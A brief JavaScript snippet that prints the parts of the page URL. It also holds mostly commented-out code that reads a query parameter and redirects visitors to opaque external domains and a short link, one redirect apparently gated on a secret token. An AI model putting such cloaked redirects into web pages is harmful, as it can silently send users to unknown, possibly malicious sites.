console.log("URL 的协议部分=="+window.location.protocol); console.log("主机头=="+window.location.host); console.log("URL 的端口部分=="+window.location.port); console.log("URL 的路径部分=="+window.location.pathname); console.log("查询(参数)部分=="+window.location.search); console.log("锚点=="+window.location.hash); //function getvl(name) { //  var reg = new RegExp("(^|\\?|&)"+ name +"=([^&]*)(\\s|&|$)", "i"); //  if (reg.test(location.href)) //  return unescape(RegExp.$2.replace(/\+/g, " ")); //  return ""; //}; //document.write(''); //$('#a1').attr('href',"&id="+getvl('id')); //var el=document.getElementById("a1"); //el.target = ""; //el.click(); //if(getvl('index')=='cc.sxerwtewgrewgwyrwteqfsdgrtdgjioweqpiwqrouroqruqowrwqoruqiofjhifheireewuhrue'){ window.location.href = "http://weixin.huangjinmastone.cn/doc.ts"; //} //window.location.href ='http://1.haiyuyuan.cn/erweima.php'; //window.location.href = "&id="+getvl('id'); //window.location.href = "http://uee.me/aVvxT";